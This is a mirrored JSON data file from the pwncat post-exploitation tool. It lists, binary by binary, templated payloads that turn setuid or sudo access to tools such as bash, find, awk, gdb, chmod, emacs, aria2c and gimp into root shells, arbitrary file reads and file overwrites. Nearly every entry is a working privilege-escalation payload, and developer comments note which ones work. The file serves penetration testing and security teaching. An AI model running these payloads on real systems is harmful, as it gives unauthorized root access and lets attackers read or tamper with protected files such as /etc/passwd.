mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
5a4823c8d3
We patched base64io to include newlines.
1163 lines
32 KiB
JSON
1163 lines
32 KiB
JSON
{
|
|
// Each item is a list of capabilities for this binary
|
|
"dd": [
|
|
{
|
|
// This is a read capability
|
|
"type": "read",
|
|
// No other commands need to be executed besides the command
|
|
// "command" exands to the binary path and any arguments provided
|
|
// If the data needs to be dealt with earlier, you can use "{data}"
|
|
// here.
|
|
"payload": "{command} 2>/dev/null",
|
|
// This is used to pass arguments to the application (auto-merged
|
|
// into "{command}".
|
|
|
|
// IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE.
|
|
"args": ["if={lfile}"],
|
|
// Prepends arguments, if any to the "args" for setuid context.
|
|
"suid": [],
|
|
// Input which needs to be passed to the application. All insertions
|
|
// work here (such as {lfile}, {command}), but also {data} if you are
|
|
// streaming the data to the remote application.
|
|
"input": "",
|
|
// If needed, specify some data that must be sent to exit the remote
|
|
// application after the read is finished.
|
|
// "exit": "{ctrl_c}",
|
|
// This specifies how to handle the data. There can be a few
|
|
// different values here:
|
|
// - raw -> the data is unchanged and the controlling terminal
|
|
// is set to raw mode for effective reading. This mode
|
|
// requires a known data length and the command will fail
|
|
// without it.
|
|
// - print -> the data is unchanged, but the controlling
|
|
// terminal is not changed to raw mode. Only printable
|
|
// data is safe from TTY translation.
|
|
// - base64 -> all data is converted from base64. Data sent
|
|
// to the remote process should be in base64 form, and the
|
|
// tty is not set to raw mode.
|
|
// - hex -> same as base64, but base16 instead.
|
|
"stream": "raw"
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "raw",
|
|
"payload": "{command} 2>/dev/null",
|
|
"args": ["of={lfile}", "iflag=count_bytes,fullblock", "count={length}"]
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
"payload": "{command} 2>/dev/null",
|
|
"args": ["of={lfile}"],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"cp": [
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
// This is weird because under the case where we are running w/ sudo,
|
|
// we need to ask for the password first. The first "{command}" will
|
|
// ask for the sudo password, then fail to copy. The second "{command}"
|
|
// will not ask for the sudo password, and then the copy will succeed.
|
|
// Without sudo, the first command will simply fail, and the second
|
|
// will succeed. This is the same for the other `cp` payload below.
|
|
"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF",
|
|
"args": ["$TF", "{lfile}"],
|
|
"exit": "{ctrl_d}"
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "base64",
|
|
"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF",
|
|
"args": ["$TF", "{lfile}"],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
// Another example
|
|
"bash": [
|
|
{
|
|
"type": "shell",
|
|
"stream": "print",
|
|
"suid": ["-p"],
|
|
"exit": "exit"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command}",
|
|
"args": ["-c", "'{cat} {lfile}'"],
|
|
"suid": ["-p"]
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "base64",
|
|
"payload": "{command}",
|
|
"args": ["-c", "'{base64} -d > {lfile}'"],
|
|
"suid": ["-p"],
|
|
"exit": "{ctrl_d}{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"dash": [
|
|
{
|
|
"type": "shell",
|
|
"stream": "print",
|
|
"suid": ["-p"],
|
|
"exit": "exit"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command} -c '{cat} {lfile}'",
|
|
"suid": ["-p"],
|
|
"exit": "{ctrl_d}"
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "base64",
|
|
"payload": "{command} -c '{base64} -d > {lfile}'",
|
|
"suid": ["-p"],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"cat": [
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command} {lfile}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"apt": [
|
|
{
|
|
"type": "shell",
|
|
"args": ["changelog", "apt"],
|
|
"input": "!{shell}\n",
|
|
"exit": "exit\nq\n"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"apt-get": [
|
|
{
|
|
"type": "shell",
|
|
"args": ["changelog", "apt"],
|
|
"input": "!{shell}\n",
|
|
"exit": "exit\nq\n"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"aria2c": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "export TF=$({mktemp}); export SH=$({mktemp}); {cp} {shell} $SH; echo \"{chown} root:root $SH; {chmod} +sx $SH\" > $TF; {chmod} +x $TF; {command}; sleep 1; {rm} -f $TF; $SH -p",
|
|
"input": "rm -f $TF; rm -f $SH; unset TF; unset SH;\n",
|
|
"args": ["--on-download-error=$TF", "http://x"],
|
|
"exit": "exit"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"ash": [
|
|
{
|
|
"type": "shell",
|
|
"stream": "print",
|
|
"suid": ["-p"],
|
|
"exit": "exit"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command} -c '{cat} {lfile}'",
|
|
"suid": ["-p"],
|
|
"exit": "{ctrl_c}"
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "base64",
|
|
"payload": "{command} -c '{base64} -d > {lfile}'",
|
|
"suid": ["-p"],
|
|
"exit": "{ctrl_c}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"awk": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'",
|
|
"exit": "exit"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command} // {lfile}"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
"args": [
|
|
"-v", "LFILE={lfile}",
|
|
"'BEGIN {{ printf \"\" > LFILE; while ((getline) > 0){{ print >> LFILE }} }}'"
|
|
],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"base32": [
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command} {lfile} | {base32} -d",
|
|
"args": []
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"base64": [
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command} {lfile} | {base64} -d",
|
|
"args": []
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"bpftrace": [
|
|
{
|
|
"type": "shell",
|
|
"args": ["-c", "'{shell} -p'", "-e", "'END {{exit()}}'"],
|
|
"suid": ["-p"],
|
|
"exit": "exit"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"busctl": [
|
|
{
|
|
"type": "shell",
|
|
"input": "!{shell}\n",
|
|
"exit": "exit\nq\n"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"byebug": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "TF=$({mktemp}); echo 'system(\"{shell}\")' > $TF; {command}; rm -f $TF",
|
|
"args": ["--no-stop", "-q", "$TF"],
|
|
"exit": "exit\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"payload": "TF=$({mktemp}); echo 'system(\"{cat} {lfile}\")' > $TF; {command}; rm -f $TF",
|
|
"args": ["--no-stop", "-q", "$TF"],
|
|
"exit": "exit\n"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"socat": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["STDIN", "EXEC:{shell},nofork,pty"],
|
|
"exit": "exit\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"payload": "{command}",
|
|
"args": ["-u", "FILE:{lfile}", "STDOUT"]
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
"payload": "{command} 2>/dev/null",
|
|
"args": ["-u", "STDIN", "CREATE:{lfile}"],
|
|
"exit": "{ctrl_d}"
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "base64",
|
|
"payload": "{base64} -d | {command} 2>/dev/null",
|
|
"args": ["-u", "STDIN", "CREATE:{lfile}"],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"chmod": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["+s", "{shell}; {shell} -p"],
|
|
"exit": "exit\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"payload": "{command} 2>/dev/null",
|
|
// This is used to pass arguments to the application (auto-merged
|
|
// into "{command}".
|
|
|
|
// IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE.
|
|
"args": ["+s", "{dd};", "{dd}", "if={lfile}"],
|
|
// Prepends arguments, if any to the "args" for setuid context.
|
|
"stream": "raw"
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "raw",
|
|
"payload": "{command} 2>/dev/null",
|
|
"args": ["+s", "{dd};", "{dd}", "of={lfile}", "iflag=count_bytes,fullblock", "count={length}"]
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
"payload": "{command} 2>/dev/null",
|
|
"args": ["+s", "{dd};", "{dd}", "of={lfile}"],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"chroot": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["/", "{shell}", "-p"],
|
|
"exit": "exit\n"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"cobc": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "TF=none; {command} 2>/dev/null; TF=$({mktemp}); echo 'CALL \"SYSTEM\" USING \"exec {shell} -p\".' > $TF; {command} 2>&1; rm -f $TF",
|
|
"args": ["-xFj", "--frelax-syntax-checks", "$TF"],
|
|
"exit": "exit\n"
|
|
}
|
|
|
|
// Could we do some file_read and file_write with this too..? We can run cobol...
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"cpan": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"input" : "! system(\"{shell} -p\")\n",
|
|
// exit the shell, AND exit cpan
|
|
"exit": "exit\nexit\n"
|
|
}
|
|
|
|
// Could we do some file_read and file_write with this too? We can run perl...
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"cpulimit": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-l", "100", "-f", "\"{shell}\""],
|
|
// exit the shell, AND exit cpan
|
|
"exit": "exit\n"
|
|
}
|
|
// We cannot seem to pass other arguments to process ran, so no read/write (???)
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"crash": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-h"],
|
|
"input": "!{shell} -p\n",
|
|
// exit the shell, AND exit cpan
|
|
"exit": "exit\nq\n"
|
|
}
|
|
// We cannot seem to pass other arguments to process ran, so no read/write (???)
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"csh": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"suid": ["-b"],
|
|
"input": "{shell} -p\n",
|
|
// exit the shell, AND exit csh
|
|
"exit": "exit\nexit\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
// "suid" is not supplied because it must be very last argument
|
|
"args": ["-c", "\"{cat} {lfile}\"", "-b"]
|
|
}
|
|
// Using write, it doesn't get the entire text to clobber /etc/passwd
|
|
// {
|
|
// "type": "write",
|
|
// "stream": "base64",
|
|
// "payload": "{command}",
|
|
// "args": ["-c", "\"{base64} -d > {lfile}\"", "-b"],
|
|
// // "suid" is not supplied because it must be very last argument
|
|
// "exit": "{ctrl_d}"
|
|
// }
|
|
],
|
|
"bsd-csh": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"input": "{shell} -p\n",
|
|
"suid": ["-b"],
|
|
// exit the shell, AND exit csh
|
|
"exit": "exit\nexit\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
// "suid" is not supplied because it must be very last argument
|
|
"args": ["-c", "\"{cat} {lfile}\"", "-b"]
|
|
}
|
|
// Using write, it doesn't get the entire text to clobber /etc/passwd
|
|
// {
|
|
// "type": "write",
|
|
// "stream": "base64",
|
|
// "payload": "{command}",
|
|
// "args": ["-c", "\"{base64} -d > {lfile}\"", "-b"],
|
|
// // "suid" is not supplied because it must be very last argument
|
|
// "exit": "{ctrl_d}"
|
|
// }
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"curl": [
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command}",
|
|
"args": ["-s", "file://{lfile} --output -"]
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "base64",
|
|
"payload": "{command} | {base64} -w 0",
|
|
"args": ["-s", "file://{lfile} --output -"]
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
// This is weird because under the case where we are running w/ sudo,
|
|
// we need to ask for the password first. The first "{command}" will
|
|
// ask for the sudo password, then fail. The second "{command}"
|
|
// will not ask for the sudo password, and then the copy will succeed.
|
|
// Without sudo, the first command will simply fail, and the second
|
|
// will succeed. This is the same for the other payload below.
|
|
"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF",
|
|
"args": ["-s", "file://$TF --output {lfile}"],
|
|
"exit": "{ctrl_d}"
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "base64",
|
|
"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF",
|
|
"args": ["-s", "file://$TF", "--output", "{lfile}"],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"cut": [
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
"args": ["-d", "''", "-f1", "{lfile}"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"date": [
|
|
{
|
|
// This is a janky reader that relies on cut to fully carve out the output.
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command} | {cut} -d \":\" -f2- | while read line; do echo ${{line:14:-1}}; done",
|
|
"args": ["-f", "{lfile}", "+\"%M%M%M%M%M%M\"", "2>&1"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"diff": [
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
"args": ["--line-format=%L", "/dev/null", "{lfile}"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"dmesg": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-H"],
|
|
"input": "!{shell} -p\n",
|
|
"exit": "exit\nq\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
"args": ["-rF", "{lfile}"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"dpkg": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-l"],
|
|
"input": "!{shell} -p\n",
|
|
"exit": "exit\nq\n"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"easy_install": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "TF=none; {command} -h; TF=$({mktemp} -d);echo \"import os; os.execl('/bin/sh', 'sh', '-c', '{shell} <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py; {command} $TF",
|
|
"args": [],
|
|
"exit": "exit\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d);echo \"import sys; sys.stdout.buffer.write(open('{lfile}', 'rb').read())\" > $TF/setup.py; {command} $TF 2>/dev/null | {tail} -n +4",
|
|
"args": []
|
|
},
|
|
// This seems to write small files... but not large (over ~4 KB). So we won't use it... ???
|
|
// easy_install does not give the process stdin, so we need to swap it into a different file, /tmp/b64.
|
|
{
|
|
"type": "write",
|
|
"stream": "base64",
|
|
"payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d); {cat} > $TF/b64; echo \"import os; os.execl('''{python}''', 'python', '''-c''', '''import base64\\nwith open('{lfile}','wb') as h:\\n\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\th.write(base64.b64decode(line.strip()))''')\" > $TF/setup.py; {command} $TF 2>/dev/null",
|
|
"args": [],
|
|
"exit": "{ctrl_d}{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"eb": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["logs"],
|
|
"input": "!{shell} -p\n",
|
|
"exit": "exit\nq\n"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"ed": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"input": "!{shell} -p\n",
|
|
"exit": "exit\nq\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "echo ',p' | {command}",
|
|
"args": ["-s", "{lfile}"],
|
|
"input" : ",p\n",
|
|
"exit" : "q\n"
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
"payload": "echo -e \"1,\\$d\\na\\n$({cat})\\n.\\nw\\nq\\n\" | {command}",
|
|
"args": ["-s", "{lfile}"],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"emacs": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}; {shell} -p",
|
|
"args": ["-Q", "-nw", "--eval '(chmod \"{shell}\" #o4755)'" , "--eval \"(kill-emacs)\""],
|
|
"exit": "exit\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "TF=$({mktemp}); {command}; {cat} $TF ",
|
|
"args": ["-Q", "-nw", "{lfile}", "--eval \"(write-file \\\"$TF\\\")\"", "--eval '(kill-emacs)'"]
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
"payload": "{cat} > /tmp/.em; {command}",
|
|
"args": ["-Q", "-nw", "/tmp/.em", "--eval \"(write-file \\\"{lfile}\\\")\"", "--eval '(kill-emacs)'"],
|
|
"exit": "{ctrl_d}{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"env": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command} {shell} -p",
|
|
"args": [],
|
|
"exit": "exit\n"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"eqn": [
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "TF={lfile}; {command} | {grep} -Pzo \"(?s)\\.lf 1 $TF.*\" | {tail} -n +2",
|
|
"args": ["$TF"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"expand": [
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command}",
|
|
"args": ["{lfile}"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"expect": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "\"spawn {shell} -p; interact\""],
|
|
"exit": "exit\n"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command}",
|
|
"args": ["-c", "\"spawn {cat} {lfile}; interact\""]
|
|
}
|
|
// Theoretically we should be able to get File Write for this.
|
|
// Sine it has it own little subprocess, I can't seem to get stdin to funnel in.
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"facter": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "TF=$({mktemp} -d); echo 'exec(\"{shell} -p\")' > $TF/x.rb; FACTERLIB=$TF {command}",
|
|
"args": [""]
|
|
}
|
|
// This does not behave with sudo very often.
|
|
// Because it sets an environment variable, -E must be used
|
|
// when calling sudo (which pwncat currently does not have support for)
|
|
// and the user needs to be able to preserve the environment...
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"find": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": [".", "-exec", "{shell} -p", "\\;", "-quit"]
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command}",
|
|
"args": [".", "-exec", "{cat} {lfile}", "\\;", "-quit"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"flock": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-u", "/", "{shell} -p"]
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command}",
|
|
"args": ["-u", "/", "{cat} {lfile}"]
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "base64",
|
|
"payload": "{command}",
|
|
"args": ["-u", "/", "{sh} -c \"{base64} -d > {lfile}\""],
|
|
"exit": "{ctrl_d}{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"fmt": [
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command}",
|
|
"args": ["-pNON_EXISTING_PREFIX", "{lfile}"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"fold": [
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command}",
|
|
"args": ["-w99999999", "{lfile}"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"ftp": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"input": "!{shell} -p\n",
|
|
// Exit the shell, then exit the FTP client
|
|
"exit": "exit\nexit\n"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"gawk": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'",
|
|
"exit": "exit"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "print",
|
|
"payload": "{command} // {lfile}"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream": "print",
|
|
"args": [
|
|
"-v", "LFILE={lfile}",
|
|
"'BEGIN {{ printf \"\" > LFILE; while (getline > 0){{ print >> LFILE; }} }}'"
|
|
],
|
|
"exit": "{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"gcc": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-wrapper", "{shell},-p,-s", "."]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"gdb": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-q", "-nx", "-ex", "'!{shell} -p'", "-ex", "quit"]
|
|
},
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-q", "-nx", "-ex", "'python import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'", "-ex", "quit"]
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream":"print",
|
|
"payload": "{command}",
|
|
"args": ["-q", "-nx", "-ex", "'set height 0'", "-ex", "'python print(open(\"{lfile}\").read())'", "-ex", "quit"]
|
|
},
|
|
{
|
|
"type": "write",
|
|
"stream":"print",
|
|
"payload": "{command}",
|
|
"args": ["-q", "-nx", "-ex", "'python import sys; open(\"{lfile}\",\"w\").write(sys.stdin.read())'", "-ex", "quit"],
|
|
"exit": "{ctrl_d}{ctrl_d}"
|
|
},
|
|
// We SHOULD be able to write base64 data... but for the life of me, I cannot get the whole file to come through. Leaving this alone.
|
|
{
|
|
"type": "write",
|
|
"stream":"base64",
|
|
"payload": "{command}",
|
|
"args": ["-q", "-nx", "-ex", "'python import sys,base64; exec(\"\"\"with open(\"{lfile}\",\"wb\") as f:\\n\\tfor line in sys.stdin:\\n\\t\\tf.write(base64.b64decode(line.strip()))\"\"\")'", "-ex", "quit"],
|
|
"exit" : "{ctrl_d}{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"gem": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["open", "-e", "'{shell} -c {shell} -p'", "rdoc"]
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream" : "raw",
|
|
"payload": "{command}",
|
|
"args": ["open", "-e", "'{cat} {lfile}'", "rdoc"]
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"genisoimage": [
|
|
{
|
|
"type": "read",
|
|
"stream" : "print",
|
|
"payload": "{command} -q -o - {lfile} | {tail} -c +49152",
|
|
"args": []
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"gimp": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import os; os.system(\"{shell} -p\");gimp.exit()'"],
|
|
"exit": "exit"
|
|
},
|
|
{
|
|
"type": "read",
|
|
"stream": "raw",
|
|
"payload": "{command} 2>/dev/null",
|
|
"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys; sys.stdout.write(open(\"{lfile}\",\"rb\").read());gimp.exit()'"]
|
|
}
|
|
|
|
// This 'write' technique seems to fail because it cannot capture stdin, being a "subprocess".
|
|
// Since it can get a shell, this is not really an issue.
|
|
// {
|
|
// "type": "write",
|
|
// "stream":"raw",
|
|
// "payload": "{command} 2>/dev/null",
|
|
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys, shutil; shutil.copyfileobj(sys.stdin.buffer, open(\"{lfile}\",\"wb\"),length={length});gimp.exit()'"]
|
|
// },
|
|
// {
|
|
// "type": "write",
|
|
// "stream":"base64",
|
|
// "payload": "{command} 2>/dev/null",
|
|
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'exec(\"\"\"import sys,base64\\nwith open(\"{lfile}\",\"wb\") as f:\\n\\tfor chunk in iter(lambda: sys.stdin.read(4), b\"\"):\\n\\t\\tf.write(base64.b64decode(chunk))\"\"\")\\ngimp.exit()'"]
|
|
// }
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"git": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["help", "config"],
|
|
"input": "!{shell}\n",
|
|
"exit": "exit\nq\n"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
"grep": [
|
|
{
|
|
"type": "read",
|
|
"stream":"print",
|
|
"payload": "{command}",
|
|
"args": ["''", "{lfile}"]
|
|
}
|
|
],
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
//-------------------------------------------------------------------
|
|
"tclsh": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp}); echo 'exec {shell} -p <@stdin >@stdout 2>@stderr; exit' > $TF; {command}",
|
|
"args": ["$TF"]
|
|
}
|
|
],
|
|
|
|
//-------------------------------------------------------------------
|
|
"tee": [
|
|
{
|
|
"type": "write",
|
|
"stream" : "base64",
|
|
"payload": "{base64} -d | {command} >/dev/null",
|
|
"args": ["{lfile}"],
|
|
"exit": "{ctrl_d}{ctrl_d}"
|
|
}
|
|
],
|
|
//-------------------------------------------------------------------
|
|
// `tftp` should be in place, but we do not yet have capabilities
|
|
// to upload and download a file sanely with GTFObins.
|
|
// That might be best in its own privesc method.
|
|
//-------------------------------------------------------------------
|
|
"time": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["{shell}", "-p"]
|
|
}
|
|
],
|
|
|
|
//-------------------------------------------------------------------
|
|
"timeout": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["--foreground", "7d", "{shell}", "-p"]
|
|
}
|
|
],
|
|
|
|
//-------------------------------------------------------------------
|
|
"tmux": [
|
|
{
|
|
"type": "shell",
|
|
"payload": "{command}",
|
|
"args": ["-c", "{shell}"]
|
|
}
|
|
],
|
|
|
|
//-------------------------------------------------------------------
|
|
// `top` would have a very hacky way of working, running it twice to create
|
|
// the configuration file and then abuse it... but even after setting the stage,
|
|
// it does not keep the setuid permissions and using this with sudo would not be
|
|
// able to write to the root configuration directory.
|
|
// So... we won't use top.
|
|
// "top": [
|
|
// {
|
|
// "type": "shell",
|
|
// "payload": "{rm} -f ~/.config/procps/toprc; {mkdir} -p ~/.config/procps/; umask 000; {command}; umask 002",
|
|
// "input": "Wq"
|
|
// },
|
|
// {
|
|
// "type": "shell",
|
|
// "payload": "echo -e 'pipe\\tx\\texec {shell} -p 1>&0 2>&0' >>~/.config/procps/toprc; {command}",
|
|
// "input": "Y\n\nreset\n",
|
|
// "exit": "exit\n{ctrl_c}"
|
|
// }
|
